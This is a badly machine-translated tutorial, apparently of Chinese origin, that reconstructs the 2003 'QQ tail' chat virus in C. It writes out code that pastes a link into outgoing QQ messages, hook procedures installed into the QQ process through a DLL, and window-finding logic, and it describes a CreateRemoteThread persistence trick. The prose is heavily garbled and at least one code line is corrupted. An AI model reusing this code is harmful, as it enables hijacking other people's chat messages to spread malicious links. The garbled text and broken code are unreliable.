声明:本文は探求の技術を目指して、読者に文章の中の方法を使っていかなる破壊を行ってないでくたさいもらう。
2003この年の中で、QQ尾のウィルスどうやら派手になったしばらく。それはIEのメールの手落ちを利用してQQの上で気が狂って広める。中毒者は他の人に情報を出す時、ウィルスは自ら情報のテキストのの後でひと言を追加することができ(ありえ)て、話の内容は多種多様で、要するに情報の接収者がこの話の中URLをクリックすることを望んで、次の中毒者になる。求めて毒の後のQQの発送するニュースを染めることをおりて、その中の中毒者はただ“こんにちは”の2つの字だけを打って、その他のはすべてウィルスの傑作だ。
![](http://home.nuc.edu.cn/~titilima/images/qqtail1.gif)
次に私は間もなく討論して、QQ尾のウィルスの使うこの技術だ。ウィルスのソースコードが獲得することができないため、だから以下のコードはすべて私の主観が所得をあて推量で決めるので、幸いなことにのは効果の基本とウィルスの自身が一致する。
尾を貼る
まずの1つの最も簡単な問題はどのようにテキストを添加するのだ。この技術はこっそりと少しも言う値打ちがなくて、QQニュースそのRichEdit“貼る”の上でひと言で言うとにクリップボードを通すのだ。コードは次の通りだ:
TCHAR g_str[] = "は私の小さな駅に来ることを歓迎して座る:http://titilima.nease.net";
// 関数の機能:テキストボックスの中でに尾を貼る
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
// メモリの空間を割り当てる
hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
pStr = GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
// クリップボードのテキストを設ける
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
// メモリの空間を釈放する
GlobalFree(hMem);
// テキストを貼る
SendMessage(hRich, WM_PASTE, 0, 0);
}
かぎ
じゃあ、そんなに下の問題は、このテキストはいつ貼っているべきです?ネット上でいくつかがQQ尾の実現の文章を研究して指摘があって、計略を使う時器は貼る時間を制することができるにきて、この様子を類似する:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
これの確かに1種の解決の手段、しかしそれも極めて大きい制限が存在している——時間単位の計算器の間隔はどのように設ける?中毒者はタイプライターを打っているかも知れなくて、尾のテキストの“さらさら”の出現……
しかしウィルスの自身はこの様子ではない、それは正確にあなたが“発送する”をクリックしてあるいはCtrl+Enter鍵盤を押さえつける時テキストを貼ることができる。2003年1月の私の1台のP2かつての中で毒を過ぎて、系統的なスピードがよりゆっくりなため、だからとてもはっきりテキストの貼る時機が見えることができる。
ここを講じて、私の述べたこれらの事実はきっと読者のあなたとして言うことを譲ることができ(ありえ)る:かぎ!——正しい、かぎで、次に私の言ったのはまさにかぎで来て如実に“QQ尾のウィルス”のこの技術を再現する。
まず私はかぎに対して1つの簡潔な紹介をして、すでにかぎの友達を熟知してこの段を跳んだことがあることができる。いわゆるWin32かぎ(hook)は鉄が船長のあの人工の再現する腕をかぎ針で編むのではない、かえって1段のサブプログラム、それは用いてシステムの中の特定のニュースを監視して、検査・測定することができて、そしていくつかの特定の機能を完成する。例えば、あなたの程序是皇帝、Windowsシステムは各省の民政・軍政長官になる;かぎとなると、どうやら皇帝の1人の勅使。たとえば皇帝がおりて全国が税金を徴収することを目指して、それから1人の勅使に山西の民政・軍政長官を探し当てて言うように派遣した:“皇帝は主旨があって、山西は正常な租税の以外、カナダは杏花村の酒の10壇を収める。”(-_-#……)皇帝がこのような方法で特殊であることに来て特定の民政・軍政長官に対応することができるように、プログラマーもかぎで逮捕してWindowsシステムの中で特定のニュースを処理することができる。
問題は具体的に“QQ尾のウィルス”の上に着いて、私達が1つのかぎを必要とするので、ユーザーが“発送する”の押しボタンをクリックした後で、私達のテキストを貼る。私の実現したこのかぎの過程は(どのようにこのかぎにつながるのとなると、私が少しの後でできるが説明する)だ:
// かぎの過程、“発送する”の命令のニュースを監視する
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// “発送する”の押しボタンを逮捕する
if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
PasteText(g_hRich);
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
ここで私はこの回に対して過程が何時を説明するかを加減する:
1、lParamは1つのCWPSTRUCT構造を指すポインターで、この構造の陳述は次の通りだ:
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;
この時に私の同じSDK fansようで納得して笑うかも知れないことができ(ありえ)る:これはウィンドウの調子に帰るあの4つの鉄の棒のパラメーターではない?もしあなたは、の確かのこのようにすること、あなたは甚だしきに至っては使うことができると言ったのならば。switch (p->message) { /* ... */ }このようなコードの書くかぎの関数は来て全面的にQQウィンドウを接収管理する。
2、g_hRichは1つの全体の局面の変数で、それの保存のはQQニューステキストボックスのハンドルだ。ここはなぜ全体の局面の変数を採用するのか、私がキーボードのかぎが帰って関数のパラメーターを加減する中からこのハンドルを獲得することができないためだ。どのようにこのハンドルとこの全体の局面の変数の特殊な位置を獲得するのとなると、私はできて少しの後で説明する。
3、CallNextHookExはかぎの鎖の中の次の処理の過程を調達し使用するので、勅使を交換して言える:“10壇の杏花村の酒の当勅使はすでに皇帝のために受け取って、今勅使に貴省の正常な租税を納めてもらうようにしよう。”(-_-#……)これはかぎの関数の中でとても重要な1つの一環を書くので、もしこの文に少なくなったのならば、そんなに系統的なかぎの鎖が誤りが現れることを招くかもしれないことができ(ありえ)て、いくつかのプログラムも応えていないことができ(ありえ)る——私は事実上このシミュレーションのプログラムを編纂する時QQは何落ちて帰る。
4、あなたは私に逮捕するのWM_COMMANDニュースなことを聞くかも知れないことができ(ありえ)て、この原因は私に来て下SDKコード(QQがMFCで書いたのだが、しかしSDKコードでようやくWM_COMMANDと“発送する”の押しボタンを説明することができるが関係する)で説明させる:
#define IDC_BTN_SENDMSG 1 // “発送する”の押しボタンIDのマクロの定義
// QQはニュースダイアログ・ボックスを発送して過程・李馬が版を偽造することを加減することに帰る
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_BTN_SENDMSG:
// ニュースを発送する...
break;
// その他の命令の押しボタンは部分を処理する...
}
}
break;
// その他のcase部分...
}
return 0;
}
ニュース発送する全体の過程は:ユーザーが“発送する”の押しボタンをクリックした時に後で、この押しボタンの父のウィンドウ(つまり“ニュースを発送する”のダイアログ・ボックス)は1本のWM_COMMANDの知らせのニュースを受け取ることができ(ありえ)て、その中wParamの低い字(つまりLOWORD(wParam))はこの押しボタンIDで、それから更にコードの中で発送する部分を調達し使用して、この過程は次の通り求める:
だから、ここで私がWM_COMMANDニュースを逮捕してその他のニュースを逮捕するあるいはに比べてマウスのかぎにつながって要するずっと有効だ。
じゃあ、今このかぎは成功裡にもう任務を完成することができるようになった。しかし忘れてないでくたさいもらう:更に多くのユーザーは更に于用の“Ctrl+Enter”のホットキーを偏愛してニュースを発送しにきて、だからプログラムの中でまだ前のキーボードのかぎに掛からなければならない:
// キーボードのかぎの過程、“発送する”のホットキーのニュースを監視する
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// ホットキーのニュースを逮捕する
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
ここで唯一釈明する1時(点)にlParam だ>= 0子の文。とても明らかなこのifはホットキーCtrl+Enterの入力を判断しているのであることを判断して、それではlParam >= 0はまた何です?事実上キーボードのかぎのが調子に帰る中で、lParamは1つのとても重要なパラメーターで、それが打鍵する繰り返しの回数を含んだ、番号をスキャンする、鍵盤を広げてなどの情報を表す。その中lParamのは最も高位(0x80000000)は当面この鍵盤が押さえつけられたのかどうかと表して、もしこの一の位は押さえつけられているならば、この一の位は0で、これに反して1だ。だからlParam >= 0の意味はWM_KEYDOWNの時にPasteTextを調達し使用して、つまり、もしこの条件を取り除くならば、PasteTextは2度の(WM_KEYUPの一回と)を調達し使用される。
ウィンドウを探すこととかぎにつながる
続いてどのようにこのかぎにつながった。かぎにつながるについて、解決する問題は:どこへかぎにつながって、およびどのようにつながる?
かぎの目標につながって、間違いなくQQ“情報を発送する”のウィンドウの所属のスレッドだ。私のコードはこのウィンドウのハンドルを入ってきてその後かぎのつながることを行う:
// かぎにつながる
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
// 親しい友人hotteyのがコードを探すことに感謝して、私を省いてSpy++の面倒を使う
g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
if (g_hRich == NULL)
return FALSE;
// かぎにつながる
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// ダウンロードするかぎ
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
ここまで、以上のすべてのコードはすべて1つのHook.に位置するdllのダイナミックのリンクの倉庫の中、DLLは私が多くないに関して紹介して、MSDNの上の関連している資料と本文の組み合わせてセットにするソースコードを調べて下さい。
DLL中はすでにすべての重要な仕事(この部分の仕事は事実上もDLLが完成に来ることしかできない、これがWindows仮想メモリの構造から決定するのだの)をしっかりと行って、私達はEXEの中で導き出すSetHook関数を調達し使用してすむのでさえすれ(あれ)ば。それでは、SetHookのパラメーターはどのように獲得する?以下のコードを見てください:
// 親しい友人hotteyのがコードを探すことに感謝して、私を省いてSpy++の面倒を使う
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
hSend = FindWindowExは(g_hQQは,は NULLは,は"Button"は,は "は(の&を発送する;S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
このコードの中のdo-while循環は用いて“ニュースを発送する”のウィンドウのを探して、QQウィンドウの機密性はますます強了だ、ウィンドウの一層のカバー一層、探すのは非常に不便で、だからここで親しい友人hotteyの《QQニュース爆弾の随想》1文が私を省いて繰り返しSpy++の面倒を使うことに感謝する。私はして、彼の文の中のDelphiコードをただCコードだけに訳した。
DLLの共有のデータの段
もしあなたはDLLに対してあまり理解しならばなくて、そんなにあなたが私の組み合わせてセットにするソースコードまで(へ)読んだ後で、次にこのコードの一部の疑問に対してを肯定する:
// 定義はデータの段を共有する
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // ウィンドウの過程のかぎのハンドル
HHOOK g_hKey = NULL; // キーボードのかぎのハンドル
HWND g_hRich = NULL; // テキストボックスのハンドル
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
この定義1段の共有のデータの段、はい、私の注釈がすでに書くのがとても明らかになったため、データの段をそのように共有してどんな作用を果たすことができた?この問題に答える前に、私はあなたにコードの中でを#の始まる前処理の命令でそれから再びこのDLLをコンパイルしてそして運行することを落とすことに注釈してもらって、あなたは何を発見することができ(ありえ)る?
はい、尾の失敗を添加する!
じゃあ、私はこの問題を説明しにくる。私達のこのシミュレーションのプログラムのはEXE、DLLおよびQQのメインプログラムは事実上次にこのようにする1種の関係だ:
このDLLは1つの実例を照り映えてEXEの住所の空間の中がそれを供えるでまで(へ)調達し使用することを必要として、別の1つの実例をまだ照り映えてQQの住所の空間の中まで(へ)かぎにつながる仕事を完成しにこなければならない。つまり、かぎがつながり終わる時に(以)後で、全体で系統的なモジュールの中で、2つのDLLの実例の存在がある!このDLL非相手のDLL、だからそれらの間はいかなる連絡がないのだ。全体の局面の変数g_hRichにとって、図の中で左側DLLはEXEのを通して入ってきてテキストボックスのハンドルを獲得して、もししかし段を共有していないならば、それでは右側DLLの中で、g_hRichは依然としてNULLだ。共有の段はこの意義ですぐ体現して、7割引の間の連絡を保証するためEXE、DLL、QQだ。この点、C++の中でstaticの成員の変数と多少似ている。
かぎがつながることに成功する後で、あなたがいくつかを通すことができて機能の過程の管理器を調べてちょっと見るモジュールがあって、Hook.を発見することができ(ありえ)るdllもQQ.に位置するexeのモジュールの中。
最後のいくつかは言う
1、私がな前に言ったことがあって、2003年の1月に私はこのようなウィルスにぶつかって、今なお私はまだとてもはっきりそのウィルスEXEが16KB大きさだけあることを覚えていて、だからウィルスの自身の存在の性質から言って、このものはWin32ASMで書いてできてもう少し実用的だべきだ。
2、そのウィルスは私はかつてが殺したのだった——1つの過程を使ってツールを調べて殺してしまった。しかし今の“QQ尾”は復活の機能を増加した——EXEが殺してしまわれた後で、DLLはそれを呼び覚ますことができ(ありえ)る。私はかつて私の過程を使ってツールを調べて分析したことがあって、システムの中でほとんど所有する過程がすべてウィルスDLLにしっかり掛けられたことを発見する。この技術は利用CreateRemoteThreadがすべての過程の上でそれぞれ1つの超過の復活のスレッドを挿入したので、本当に一石二鳥——EXEが永遠に運行することを保証して、同時にこの使用の中のDLLは削除されることができないのだ。この技術は私もすでに実現して、しかし安定性の方面が遠くてウィルスの自身に及ばないでするのが優秀で、だからここですぐそれを書き出さないで、興味の友達はJeffrey Richter《Windows核心がプログラミングする》の関連している章節を参考にすることができる。
3、速報してこれで侯捷先生《STLソースコードが分析する》の中のひと言を思い出した——“ソースコードの前、秘密がなかった。”もしあなたが本文を見終わった後にもこのような感じがあるならば、それでは私は光栄に堪えないことと感じる。
このダウンロードの組み合わせてセットにするソースコードをつける